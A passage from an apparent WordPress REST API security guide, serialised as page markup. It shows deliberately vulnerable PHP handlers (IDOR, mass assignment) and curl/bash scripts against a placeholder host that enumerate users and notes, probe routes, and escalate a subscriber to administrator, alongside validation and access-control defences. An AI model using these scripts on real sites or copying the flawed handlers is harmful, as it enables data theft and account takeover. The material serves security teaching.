ownership\n",[36,1159,1160],{"class":38,"line":78},[36,1161,413],{},[36,1163,1164],{"class":38,"line":83},[36,1165,61],{"emptyLinePlaceholder":60},[36,1167,1168],{"class":38,"line":89},[36,1169,1170],{},"function get_note( WP_REST_Request $request ) {\n",[36,1172,1173],{"class":38,"line":115},[36,1174,1040],{},[36,1176,1177],{"class":38,"line":133},[36,1178,1179],{},"    $id = absint( $request->get_param('id') );\n",[36,1181,1182],{"class":38,"line":138},[36,1183,1184],{},"    \u002F\u002F Returns any note regardless of owner\n",[36,1186,1187],{"class":38,"line":144},[36,1188,1189],{},"    return $wpdb->get_row(\n",[36,1191,1192],{"class":38,"line":158},[36,1193,1194],{},"        $wpdb->prepare( \"SELECT * FROM {$wpdb->prefix}notes WHERE id = %d\", $id )\n",[36,1196,1197],{"class":38,"line":255},[36,1198,294],{},[36,1200,1201],{"class":38,"line":261},[36,1202,323],{},[26,1204,1206],{"className":28,"code":1205,"language":30,"meta":31,"style":31},"# Login first\nAUTH_HEADER=\"Authorization: Basic $(echo -n 'subscriber:password' | base64)\"\n\n# Access own note\ncurl -s -H \"$AUTH_HEADER\" 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fnotes\u002F10'\n\n# IDOR: access other user's note\ncurl -s -H \"$AUTH_HEADER\" 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fnotes\u002F1'\ncurl -s -H \"$AUTH_HEADER\" 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fnotes\u002F2'\n\n# Enumerate all notes\nfor i in $(seq 1 100); do\n    RESPONSE=$(curl -s -H \"$AUTH_HEADER\" \\\n      \"https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fnotes\u002F$i\")\n    if echo \"$RESPONSE\" | grep -q '\"id\"'; then\n        echo \"Found note $i: $RESPONSE\"\n    fi\ndone\n",[33,1207,1208,1213,1242,1246,1251,1269,1273,1278,1295,1312,1316,1321,1349,1373,1386,1413,1429,1433],{"__ignoreMap":31},[36,1209,1210],{"class":38,"line":39},[36,1211,1212],{"class":42},"# Login first\n",[36,1214,1215,1218,1221,1224,1227,1230,1233,1236,1239],{"class":38,"line":46},[36,1216,1217],{"class":605},"AUTH_HEADER",[36,1219,1220],{"class":102},"=",[36,1222,1223],{"class":53},"\"Authorization: Basic $(",[36,1225,1226],{"class":95},"echo",[36,1228,1229],{"class":95}," -n",[36,1231,1232],{"class":53}," 'subscriber:password' ",[36,1234,1235],{"class":102},"|",[36,1237,1238],{"class":49}," base64",[36,1240,1241],{"class":53},")\"\n",[36,1243,1244],{"class":38,"line":57},[36,1245,61],{"emptyLinePlaceholder":60},[36,1247,1248],{"class":38,"line":64},[36,1249,1250],{"class":42},"# Access own note\n",[36,1252,1253,1255,1257,1259,1261,1264,1266],{"class":38,"line":70},[36,1254,92],{"class":49},[36,1256,96],{"class":95},[36,1258,909],{"class":95},[36,1260,625],{"class":53},[36,1262,1263],{"class":605},"$AUTH_HEADER",[36,1265,631],{"class":53},[36,1267,1268],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fnotes\u002F10'\n",[36,1270,1271],{"class":38,"line":78},[36,1272,61],{"emptyLinePlaceholder":60},[36,1274,1275],{"class":38,"line":83},[36,1276,1277],{"class":42},"# IDOR: access other user's note\n",[36,1279,1280,1282,1284,1286,1288,1290,1292],{"class":38,"line":89},[36,1281,92],{"class":49},[36,1283,96],{"class":95},[36,1285,909],{"class":95},[36,1287,625],{"class":53},[36,1289,1263],{"class":605},[36,1291,631],{"class":53},[36,1293,1294],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fnotes\u002F1'\n",[36,1296,1297,1299,1301,1303,1305,1307,1309],{"class":38,"line":115},[36,1298,92],{"class":49},[36,1300,96],{"class":95},[36,1302,909],{"class":95},[36,1304,625],{"class":53},[36,1306,1263],{"class":605},[36,1308,631],{"class":53},[36,1310,1311],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fnotes\u002F2'\n",[36,1313,1314],{"class":38,"line":133},[36,1315,61],{"emptyLinePlaceholder":60},[36,1317,1318],{"class":38,"line":138},[36,1319,1320],{"class":42},"# Enumerate all notes\n",[36,1322,1323,1326,1329,1332,1335,1338,1341,1344,1347],{"class":38,"line":144},[36,1324,1325],{"class":102},"for",[36,1327,1328],{"class":605}," i ",[36,1330,1331],{"class":102},"in",[36,1333,1334],{"class":605}," $(",[36,1336,1337],{"class":49},"seq",[36,1339,1340],{"class":95}," 1",[36,1342,1343],{"class":95}," 100",[36,1345,1346],{"class":605},"); ",[36,1348,609],{"class":102},[36,1350,1351,1354,1356,1359,1361,1363,1365,1367,1369,1371],{"class":38,"line":158},[36,1352,1353],{"class":605},"    RESPONSE",[36,1355,1220],{"class":102},[36,1357,1358],{"class":605},"$(",[36,1360,92],{"class":49},[36,1362,96],{"class":95},[36,1364,909],{"class":95},[36,1366,625],{"class":53},[36,1368,1263],{"class":605},[36,1370,631],{"class":53},[36,1372,155],{"class":95},[36,1374,1375,1378,1381,1383],{"class":38,"line":255},[36,1376,1377],{"class":53},"      \"https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fnotes\u002F",[36,1379,1380],{"class":605},"$i",[36,1382,631],{"class":53},[36,1384,1385],{"class":605},")\n",[36,1387,1388,1390,1393,1395,1398,1400,1402,1404,1406,1409,1411],{"class":38,"line":261},[36,1389,614],{"class":102},[36,1391,1392],{"class":95}," echo",[36,1394,625],{"class":53},[36,1396,1397],{"class":605},"$RESPONSE",[36,1399,631],{"class":53},[36,1401,103],{"class":102},[36,1403,617],{"class":49},[36,1405,620],{"class":95},[36,1407,1408],{"class":53}," '\"id\"'",[36,1410,606],{"class":605},[36,1412,655],{"class":102},[36,1414,1415,1417,1420,1422,1425,1427],{"class":38,"line":267},[36,1416,660],{"class":95},[36,1418,1419],{"class":53}," \"Found note ",[36,1421,1380],{"class":605},[36,1423,1424],{"class":53},": ",[36,1426,1397],{"class":605},[36,1428,668],{"class":53},[36,1430,1431],{"class":38,"line":273},[36,1432,673],{"class":102},[36,1434,1435],{"class":38,"line":279},[36,1436,678],{"class":102},[684,1438,1440],{"id":1439},"_4-sensitive-information-disclosure","4. Sensitive Information Disclosure",[14,1442,1443],{},"WordPress core REST API exposes user information by default:",[26,1445,1447],{"className":28,"code":1446,"language":30,"meta":31,"style":31},"# Enumerate users (works without authentication on many sites)\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers' | \\\n  python3 -c \"\nimport json,sys\nusers = json.load(sys.stdin)\nfor u in users:\n    print(f\\\"ID: {u['id']}, Login: {u['slug']}, Name: {u['name']}\\\")\n\"\n\n# Get specific user\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers\u002F1'\n\n# Check if user enumeration is possible\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers?per_page=100'\n",[33,1448,1449,1454,1467,1476,1481,1486,1491,1506,1510,1514,1519,1528,1532,1537],{"__ignoreMap":31},[36,1450,1451],{"class":38,"line":39},[36,1452,1453],{"class":42},"# Enumerate users (works without authentication on many sites)\n",[36,1455,1456,1458,1460,1463,1465],{"class":38,"line":46},[36,1457,92],{"class":49},[36,1459,96],{"class":95},[36,1461,1462],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers'",[36,1464,103],{"class":102},[36,1466,155],{"class":95},[36,1468,1469,1471,1473],{"class":38,"line":57},[36,1470,161],{"class":49},[36,1472,164],{"class":95},[36,1474,1475],{"class":53}," \"\n",[36,1477,1478],{"class":38,"line":64},[36,1479,1480],{"class":53},"import json,sys\n",[36,1482,1483],{"class":38,"line":70},[36,1484,1485],{"class":53},"users = json.load(sys.stdin)\n",[36,1487,1488],{"class":38,"line":78},[36,1489,1490],{"class":53},"for u in users:\n",[36,1492,1493,1496,1499,1502,1504],{"class":38,"line":83},[36,1494,1495],{"class":53},"    print(f",[36,1497,1498],{"class":95},"\\\"",[36,1500,1501],{"class":53},"ID: {u['id']}, Login: {u['slug']}, Name: {u['name']}",[36,1503,1498],{"class":95},[36,1505,1385],{"class":53},[36,1507,1508],{"class":38,"line":89},[36,1509,668],{"class":53},[36,1511,1512],{"class":38,"line":115},[36,1513,61],{"emptyLinePlaceholder":60},[36,1515,1516],{"class":38,"line":133},[36,1517,1518],{"class":42},"# Get specific user\n",[36,1520,1521,1523,1525],{"class":38,"line":138},[36,1522,92],{"class":49},[36,1524,96],{"class":95},[36,1526,1527],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers\u002F1'\n",[36,1529,1530],{"class":38,"line":144},[36,1531,61],{"emptyLinePlaceholder":60},[36,1533,1534],{"class":38,"line":158},[36,1535,1536],{"class":42},"# Check if user enumeration is possible\n",[36,1538,1539,1541,1543],{"class":38,"line":255},[36,1540,92],{"class":49},[36,1542,96],{"class":95},[36,1544,1545],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers?per_page=100'\n",[684,1547,1549],{"id":1548},"_5-mass-assignment-via-rest-api","5. Mass Assignment via REST API",[26,1551,1553],{"className":177,"code":1552,"language":179,"meta":31,"style":31},"\u002F\u002F Plugin registers a route that updates user meta without restrictions\nregister_rest_route( 'my-plugin\u002Fv1', '\u002Fuser\u002Fupdate', [\n    'methods'             => 'POST',\n    'callback'            => 'update_user_callback',\n    'permission_callback' => 'is_user_logged_in',\n] );\n\nfunction update_user_callback( WP_REST_Request $request ) {\n    $user_id = get_current_user_id();\n    $data    = $request->get_json_params();\n    \u002F\u002F Updates ANY user meta key sent by user\n    foreach ( $data as $key => $value ) {\n        update_user_meta( $user_id, $key, $value ); \u002F\u002F Unrestricted!\n    }\n    return rest_ensure_response( ['success' => true] );\n}\n",[33,1554,1555,1560,1565,1570,1575,1580,1584,1588,1593,1598,1603,1608,1613,1618,1623,1628],{"__ignoreMap":31},[36,1556,1557],{"class":38,"line":39},[36,1558,1559],{},"\u002F\u002F Plugin registers a route that updates user meta without restrictions\n",[36,1561,1562],{"class":38,"line":46},[36,1563,1564],{},"register_rest_route( 'my-plugin\u002Fv1', '\u002Fuser\u002Fupdate', [\n",[36,1566,1567],{"class":38,"line":57},[36,1568,1569],{},"    'methods'             => 'POST',\n",[36,1571,1572],{"class":38,"line":64},[36,1573,1574],{},"    'callback'            => 'update_user_callback',\n",[36,1576,1577],{"class":38,"line":70},[36,1578,1579],{},"    'permission_callback' => 'is_user_logged_in',\n",[36,1581,1582],{"class":38,"line":78},[36,1583,413],{},[36,1585,1586],{"class":38,"line":83},[36,1587,61],{"emptyLinePlaceholder":60},[36,1589,1590],{"class":38,"line":89},[36,1591,1592],{},"function update_user_callback( WP_REST_Request $request ) {\n",[36,1594,1595],{"class":38,"line":115},[36,1596,1597],{},"    $user_id = get_current_user_id();\n",[36,1599,1600],{"class":38,"line":133},[36,1601,1602],{},"    $data    = $request->get_json_params();\n",[36,1604,1605],{"class":38,"line":138},[36,1606,1607],{},"    \u002F\u002F Updates ANY user meta key sent by user\n",[36,1609,1610],{"class":38,"line":144},[36,1611,1612],{},"    foreach ( $data as $key => $value ) {\n",[36,1614,1615],{"class":38,"line":158},[36,1616,1617],{},"        update_user_meta( $user_id, $key, $value ); \u002F\u002F Unrestricted!\n",[36,1619,1620],{"class":38,"line":255},[36,1621,1622],{},"    }\n",[36,1624,1625],{"class":38,"line":261},[36,1626,1627],{},"    return rest_ensure_response( ['success' => true] );\n",[36,1629,1630],{"class":38,"line":267},[36,1631,323],{},[26,1633,1635],{"className":28,"code":1634,"language":30,"meta":31,"style":31},"# Abuse mass assignment to set wp_capabilities\ncurl -s -u 'subscriber:password' -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fuser\u002Fupdate' \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"wp_capabilities\": {\"administrator\": true}}'\n",[33,1636,1637,1642,1659,1666,1674],{"__ignoreMap":31},[36,1638,1639],{"class":38,"line":39},[36,1640,1641],{"class":42},"# Abuse mass assignment to set wp_capabilities\n",[36,1643,1644,1646,1648,1650,1653,1655,1657],{"class":38,"line":46},[36,1645,92],{"class":49},[36,1647,96],{"class":95},[36,1649,467],{"class":95},[36,1651,1652],{"class":53}," 'subscriber:password'",[36,1654,792],{"class":95},[36,1656,795],{"class":53},[36,1658,155],{"class":95},[36,1660,1661,1664],{"class":38,"line":57},[36,1662,1663],{"class":53},"  'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fuser\u002Fupdate'",[36,1665,155],{"class":95},[36,1667,1668,1670,1672],{"class":38,"line":64},[36,1669,755],{"class":95},[36,1671,811],{"class":53},[36,1673,155],{"class":95},[36,1675,1676,1678],{"class":38,"line":70},[36,1677,818],{"class":95},[36,1679,1680],{"class":53}," '{\"wp_capabilities\": {\"administrator\": true}}'\n",[18,1682,1684],{"id":1683},"sanitize_callback-and-validate_callback","sanitize_callback and validate_callback",[14,1686,1687],{},"Proper route registration includes input validation:",[26,1689,1691],{"className":177,"code":1690,"language":179,"meta":31,"style":31},"register_rest_route( 'secure-plugin\u002Fv1', '\u002Fdata', [\n    'methods'             => 'GET',\n    'callback'            => 'secure_get_data',\n    'permission_callback' => function() {\n        return current_user_can( 'read' );\n    },\n    'args' => [\n        'status' => [\n            'required'          => false,\n            'default'           => 'publish',\n            'validate_callback' => function( $param, $request, $key ) {\n                return in_array( $param, ['publish', 'draft', 'pending'], true );\n            },\n            'sanitize_callback' => 'sanitize_text_field',\n        ],\n        'per_page' => [\n            'required'          => false,\n            'default'           => 10,\n            'validate_callback' => function( $param ) {\n                return is_numeric( $param ) && $param > 0 && $param \u003C= 100;\n            },\n            'sanitize_callback' => 'absint',\n        ],\n    ],\n] );\n",[33,1692,1693,1698,1702,1707,1712,1717,1722,1727,1732,1737,1742,1747,1752,1757,1762,1767,1772,1776,1781,1786,1791,1795,1800,1804,1809],{"__ignoreMap":31},[36,1694,1695],{"class":38,"line":39},[36,1696,1697],{},"register_rest_route( 'secure-plugin\u002Fv1', '\u002Fdata', [\n",[36,1699,1700],{"class":38,"line":46},[36,1701,395],{},[36,1703,1704],{"class":38,"line":57},[36,1705,1706],{},"    'callback'            => 'secure_get_data',\n",[36,1708,1709],{"class":38,"line":64},[36,1710,1711],{},"    'permission_callback' => function() {\n",[36,1713,1714],{"class":38,"line":70},[36,1715,1716],{},"        return current_user_can( 'read' );\n",[36,1718,1719],{"class":38,"line":78},[36,1720,1721],{},"    },\n",[36,1723,1724],{"class":38,"line":83},[36,1725,1726],{},"    'args' => [\n",[36,1728,1729],{"class":38,"line":89},[36,1730,1731],{},"        'status' => [\n",[36,1733,1734],{"class":38,"line":115},[36,1735,1736],{},"            'required'          => false,\n",[36,1738,1739],{"class":38,"line":133},[36,1740,1741],{},"            'default'           => 'publish',\n",[36,1743,1744],{"class":38,"line":138},[36,1745,1746],{},"            'validate_callback' => function( $param, $request, $key ) {\n",[36,1748,1749],{"class":38,"line":144},[36,1750,1751],{},"                return in_array( $param, ['publish', 'draft', 'pending'], true );\n",[36,1753,1754],{"class":38,"line":158},[36,1755,1756],{},"            },\n",[36,1758,1759],{"class":38,"line":255},[36,1760,1761],{},"            'sanitize_callback' => 'sanitize_text_field',\n",[36,1763,1764],{"class":38,"line":261},[36,1765,1766],{},"        ],\n",[36,1768,1769],{"class":38,"line":267},[36,1770,1771],{},"        'per_page' => [\n",[36,1773,1774],{"class":38,"line":273},[36,1775,1736],{},[36,1777,1778],{"class":38,"line":279},[36,1779,1780],{},"            'default'           => 10,\n",[36,1782,1783],{"class":38,"line":285},[36,1784,1785],{},"            'validate_callback' => function( $param ) {\n",[36,1787,1788],{"class":38,"line":291},[36,1789,1790],{},"                return is_numeric( $param ) && $param > 0 && $param \u003C= 100;\n",[36,1792,1793],{"class":38,"line":297},[36,1794,1756],{},[36,1796,1797],{"class":38,"line":303},[36,1798,1799],{},"            'sanitize_callback' => 'absint',\n",[36,1801,1802],{"class":38,"line":308},[36,1803,1766],{},[36,1805,1806],{"class":38,"line":314},[36,1807,1808],{},"    ],\n",[36,1810,1811],{"class":38,"line":320},[36,1812,413],{},[14,1814,1815,1818,1819,1822,1823,1826,1827,1830],{},[33,1816,1817],{},"validate_callback"," runs first - if it returns ",[33,1820,1821],{},"false"," or ",[33,1824,1825],{},"WP_Error",", the request is rejected before the main callback runs. ",[33,1828,1829],{},"sanitize_callback"," cleans the value.",[26,1832,1834],{"className":28,"code":1833,"language":30,"meta":31,"style":31},"# Test validation rejection\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fsecure-plugin\u002Fv1\u002Fdata?status=invalid_status'\n# Should return: {\"code\":\"rest_invalid_param\",\"message\":\"...\"}\n\n# Attempt to bypass with URL encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fsecure-plugin\u002Fv1\u002Fdata?status=publish%0a\"\n",[33,1835,1836,1841,1850,1855,1859,1864],{"__ignoreMap":31},[36,1837,1838],{"class":38,"line":39},[36,1839,1840],{"class":42},"# Test validation rejection\n",[36,1842,1843,1845,1847],{"class":38,"line":46},[36,1844,92],{"class":49},[36,1846,96],{"class":95},[36,1848,1849],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fsecure-plugin\u002Fv1\u002Fdata?status=invalid_status'\n",[36,1851,1852],{"class":38,"line":57},[36,1853,1854],{"class":42},"# Should return: {\"code\":\"rest_invalid_param\",\"message\":\"...\"}\n",[36,1856,1857],{"class":38,"line":64},[36,1858,61],{"emptyLinePlaceholder":60},[36,1860,1861],{"class":38,"line":70},[36,1862,1863],{"class":42},"# Attempt to bypass with URL encoding\n",[36,1865,1866,1868,1870],{"class":38,"line":78},[36,1867,92],{"class":49},[36,1869,96],{"class":95},[36,1871,1872],{"class":53}," \"https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fsecure-plugin\u002Fv1\u002Fdata?status=publish%0a\"\n",[18,1874,1876],{"id":1875},"enumerating-routes-for-security-research","Enumerating Routes for Security Research",[26,1878,1880],{"className":28,"code":1879,"language":30,"meta":31,"style":31},"TARGET=\"https:\u002F\u002Ftarget.example.com\"\n\n# Get full route list with methods\ncurl -s \"$TARGET\u002Fwp-json\u002F\" | python3 -c \"\nimport json, sys\ndata = json.load(sys.stdin)\nroutes = data.get('routes', {})\nfor route, info in sorted(routes.items()):\n    if not route.startswith('\u002Fwp\u002Fv2'):  # Skip core routes\n        endpoints = info.get('endpoints', [])\n        for ep in endpoints:\n            methods = ','.join(ep.get('methods', []))\n            print(f'{methods:10} {route}')\n\"\n\n# Test each non-core route for unauthenticated access\ncurl -s \"$TARGET\u002Fwp-json\u002F\" | python3 -c \"\nimport json, sys\ndata = json.load(sys.stdin)\nroutes = data.get('routes', {})\nfor route in routes:\n    if not route.startswith('\u002Fwp\u002Fv2') and not route.startswith('\u002Fwp\u002Fv1') and route != '\u002F':\n        print(route)\n\" | while read route; do\n    CLEAN_ROUTE=$(echo \"$route\" | sed 's\u002F(?P\u003C[^>]*>)[^))]*\u002F1\u002Fg')\n    URL=\"$TARGET\u002Fwp-json$CLEAN_ROUTE\"\n    STATUS=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"$URL\")\n    echo \"$STATUS $URL\"\ndone\n",[33,1881,1882,1892,1896,1901,1923,1928,1933,1938,1943,1948,1953,1958,1963,1968,1972,1976,1981,2001,2005,2009,2013,2018,2023,2028,2045,2073,2092,2126,2141],{"__ignoreMap":31},[36,1883,1884,1887,1889],{"class":38,"line":39},[36,1885,1886],{"class":605},"TARGET",[36,1888,1220],{"class":102},[36,1890,1891],{"class":53},"\"https:\u002F\u002Ftarget.example.com\"\n",[36,1893,1894],{"class":38,"line":46},[36,1895,61],{"emptyLinePlaceholder":60},[36,1897,1898],{"class":38,"line":57},[36,1899,1900],{"class":42},"# Get full route list with methods\n",[36,1902,1903,1905,1907,1909,1912,1915,1917,1919,1921],{"class":38,"line":64},[36,1904,92],{"class":49},[36,1906,96],{"class":95},[36,1908,625],{"class":53},[36,1910,1911],{"class":605},"$TARGET",[36,1913,1914],{"class":53},"\u002Fwp-json\u002F\"",[36,1916,103],{"class":102},[36,1918,106],{"class":49},[36,1920,164],{"class":95},[36,1922,1475],{"class":53},[36,1924,1925],{"class":38,"line":70},[36,1926,1927],{"class":53},"import json, sys\n",[36,1929,1930],{"class":38,"line":78},[36,1931,1932],{"class":53},"data = json.load(sys.stdin)\n",[36,1934,1935],{"class":38,"line":83},[36,1936,1937],{"class":53},"routes = data.get('routes', {})\n",[36,1939,1940],{"class":38,"line":89},[36,1941,1942],{"class":53},"for route, info in sorted(routes.items()):\n",[36,1944,1945],{"class":38,"line":115},[36,1946,1947],{"class":53},"    if not route.startswith('\u002Fwp\u002Fv2'):  # Skip core routes\n",[36,1949,1950],{"class":38,"line":133},[36,1951,1952],{"class":53},"        endpoints = info.get('endpoints', [])\n",[36,1954,1955],{"class":38,"line":138},[36,1956,1957],{"class":53},"        for ep in endpoints:\n",[36,1959,1960],{"class":38,"line":144},[36,1961,1962],{"class":53},"            methods = ','.join(ep.get('methods', []))\n",[36,1964,1965],{"class":38,"line":158},[36,1966,1967],{"class":53},"            print(f'{methods:10} {route}')\n",[36,1969,1970],{"class":38,"line":255},[36,1971,668],{"class":53},[36,1973,1974],{"class":38,"line":261},[36,1975,61],{"emptyLinePlaceholder":60},[36,1977,1978],{"class":38,"line":267},[36,1979,1980],{"class":42},"# Test each non-core route for unauthenticated access\n",[36,1982,1983,1985,1987,1989,1991,1993,1995,1997,1999],{"class":38,"line":273},[36,1984,92],{"class":49},[36,1986,96],{"class":95},[36,1988,625],{"class":53},[36,1990,1911],{"class":605},[36,1992,1914],{"class":53},[36,1994,103],{"class":102},[36,1996,106],{"class":49},[36,1998,164],{"class":95},[36,2000,1475],{"class":53},[36,2002,2003],{"class":38,"line":279},[36,2004,1927],{"class":53},[36,2006,2007],{"class":38,"line":285},[36,2008,1932],{"class":53},[36,2010,2011],{"class":38,"line":291},[36,2012,1937],{"class":53},[36,2014,2015],{"class":38,"line":297},[36,2016,2017],{"class":53},"for route in routes:\n",[36,2019,2020],{"class":38,"line":303},[36,2021,2022],{"class":53},"    if not route.startswith('\u002Fwp\u002Fv2') and not route.startswith('\u002Fwp\u002Fv1') and route != '\u002F':\n",[36,2024,2025],{"class":38,"line":308},[36,2026,2027],{"class":53},"        print(route)\n",[36,2029,2030,2032,2034,2036,2038,2041,2043],{"class":38,"line":314},[36,2031,631],{"class":53},[36,2033,103],{"class":102},[36,2035,596],{"class":102},[36,2037,599],{"class":95},[36,2039,2040],{"class":53}," route",[36,2042,606],{"class":605},[36,2044,609],{"class":102},[36,2046,2047,2050,2052,2054,2056,2058,2061,2063,2065,2068,2071],{"class":38,"line":320},[36,2048,2049],{"class":605},"    CLEAN_ROUTE",[36,2051,1220],{"class":102},[36,2053,1358],{"class":605},[36,2055,1226],{"class":95},[36,2057,625],{"class":53},[36,2059,2060],{"class":605},"$route",[36,2062,631],{"class":53},[36,2064,103],{"class":102},[36,2066,2067],{"class":49}," sed",[36,2069,2070],{"class":53}," 's\u002F(?P\u003C[^>]*>)[^))]*\u002F1\u002Fg'",[36,2072,1385],{"class":605},[36,2074,2075,2078,2080,2082,2084,2087,2090],{"class":38,"line":326},[36,2076,2077],{"class":605},"    URL",[36,2079,1220],{"class":102},[36,2081,631],{"class":53},[36,2083,1911],{"class":605},[36,2085,2086],{"class":53},"\u002Fwp-json",[36,2088,2089],{"class":605},"$CLEAN_ROUTE",[36,2091,668],{"class":53},[36,2093,2094,2097,2099,2101,2103,2105,2108,2111,2114,2117,2119,2122,2124],{"class":38,"line":331},[36,2095,2096],{"class":605},"    STATUS",[36,2098,1220],{"class":102},[36,2100,1358],{"class":605},[36,2102,92],{"class":49},[36,2104,96],{"class":95},[36,2106,2107],{"class":95}," -o",[36,2109,2110],{"class":53}," \u002Fdev\u002Fnull",[36,2112,2113],{"class":95}," -w",[36,2115,2116],{"class":53}," \"%{http_code}\"",[36,2118,625],{"class":53},[36,2120,2121],{"class":605},"$URL",[36,2123,631],{"class":53},[36,2125,1385],{"class":605},[36,2127,2128,2131,2133,2136,2139],{"class":38,"line":337},[36,2129,2130],{"class":95},"    echo",[36,2132,625],{"class":53},[36,2134,2135],{"class":605},"$STATUS",[36,2137,2138],{"class":605}," $URL",[36,2140,668],{"class":53},[36,2142,2143],{"class":38,"line":343},[36,2144,678],{"class":102},[18,2146,2148],{"id":2147},"wordpress-core-rest-api-endpoints-security-reference","WordPress Core REST API Endpoints (Security Reference)",[26,2150,2152],{"className":28,"code":2151,"language":30,"meta":31,"style":31},"# Users - often leaks usernames\nGET \u002Fwp-json\u002Fwp\u002Fv2\u002Fusers\n\n# Posts - check for private\u002Fdraft posts leakage\nGET \u002Fwp-json\u002Fwp\u002Fv2\u002Fposts?status=draft\nGET \u002Fwp-json\u002Fwp\u002Fv2\u002Fposts?status=private\n\n# Settings - admin only, but check for misconfig\nGET \u002Fwp-json\u002Fwp\u002Fv2\u002Fsettings\n\n# Plugins - admin only\nGET \u002Fwp-json\u002Fwp\u002Fv2\u002Fplugins\n",[33,2153,2154,2159,2166,2170,2175,2182,2189,2193,2198,2205,2209,2214],{"__ignoreMap":31},[36,2155,2156],{"class":38,"line":39},[36,2157,2158],{"class":42},"# Users - often leaks usernames\n",[36,2160,2161,2163],{"class":38,"line":46},[36,2162,50],{"class":49},[36,2164,2165],{"class":53}," \u002Fwp-json\u002Fwp\u002Fv2\u002Fusers\n",[36,2167,2168],{"class":38,"line":57},[36,2169,61],{"emptyLinePlaceholder":60},[36,2171,2172],{"class":38,"line":64},[36,2173,2174],{"class":42},"# Posts - check for private\u002Fdraft posts leakage\n",[36,2176,2177,2179],{"class":38,"line":70},[36,2178,50],{"class":49},[36,2180,2181],{"class":53}," \u002Fwp-json\u002Fwp\u002Fv2\u002Fposts?status=draft\n",[36,2183,2184,2186],{"class":38,"line":78},[36,2185,50],{"class":49},[36,2187,2188],{"class":53}," \u002Fwp-json\u002Fwp\u002Fv2\u002Fposts?status=private\n",[36,2190,2191],{"class":38,"line":83},[36,2192,61],{"emptyLinePlaceholder":60},[36,2194,2195],{"class":38,"line":89},[36,2196,2197],{"class":42},"# Settings - admin only, but check for misconfig\n",[36,2199,2200,2202],{"class":38,"line":115},[36,2201,50],{"class":49},[36,2203,2204],{"class":53}," \u002Fwp-json\u002Fwp\u002Fv2\u002Fsettings\n",[36,2206,2207],{"class":38,"line":133},[36,2208,61],{"emptyLinePlaceholder":60},[36,2210,2211],{"class":38,"line":138},[36,2212,2213],{"class":42},"# Plugins - admin only\n",[36,2215,2216,2218],{"class":38,"line":144},[36,2217,50],{"class":49},[36,2219,2220],{"class":53}," \u002Fwp-json\u002Fwp\u002Fv2\u002Fplugins\n",[18,2222,2224],{"id":2223},"disabling-rest-api-exposure-defense","Disabling REST API Exposure (Defense)",[14,2226,2227],{},"Understanding how sites protect the REST API helps identify misconfigurations:",[26,2229,2231],{"className":177,"code":2230,"language":179,"meta":31,"style":31},"\u002F\u002F Common: restrict all REST API to logged-in users\nadd_filter( 'rest_authentication_errors', function( $result ) {\n    if ( ! is_user_logged_in() ) {\n        return new WP_Error( 'rest_not_logged_in', 'Authentication required', ['status' => 401] );\n    }\n    return $result;\n});\n\n\u002F\u002F Per-route restriction check\nfunction check_route_access( WP_REST_Request $request ) {\n    if ( ! current_user_can( 'edit_posts' ) ) {\n        return new WP_Error(\n            'rest_forbidden',\n            'You do not have permission',\n            ['status' => 403]\n        );\n    }\n    return true;\n}\n",[33,2232,2233,2238,2243,2248,2253,2257,2262,2266,2270,2275,2280,2285,2290,2295,2300,2305,2310,2314,2319],{"__ignoreMap":31},[36,2234,2235],{"class":38,"line":39},[36,2236,2237],{},"\u002F\u002F Common: restrict all REST API to logged-in users\n",[36,2239,2240],{"class":38,"line":46},[36,2241,2242],{},"add_filter( 'rest_authentication_errors', function( $result ) {\n",[36,2244,2245],{"class":38,"line":57},[36,2246,2247],{},"    if ( ! is_user_logged_in() ) {\n",[36,2249,2250],{"class":38,"line":64},[36,2251,2252],{},"        return new WP_Error( 'rest_not_logged_in', 'Authentication required', ['status' => 401] );\n",[36,2254,2255],{"class":38,"line":70},[36,2256,1622],{},[36,2258,2259],{"class":38,"line":78},[36,2260,2261],{},"    return $result;\n",[36,2263,2264],{"class":38,"line":83},[36,2265,300],{},[36,2267,2268],{"class":38,"line":89},[36,2269,61],{"emptyLinePlaceholder":60},[36,2271,2272],{"class":38,"line":115},[36,2273,2274],{},"\u002F\u002F Per-route restriction check\n",[36,2276,2277],{"class":38,"line":133},[36,2278,2279],{},"function check_route_access( WP_REST_Request $request ) {\n",[36,2281,2282],{"class":38,"line":138},[36,2283,2284],{},"    if ( ! current_user_can( 'edit_posts' ) ) {\n",[36,2286,2287],{"class":38,"line":144},[36,2288,2289],{},"        return new WP_Error(\n",[36,2291,2292],{"class":38,"line":158},[36,2293,2294],{},"            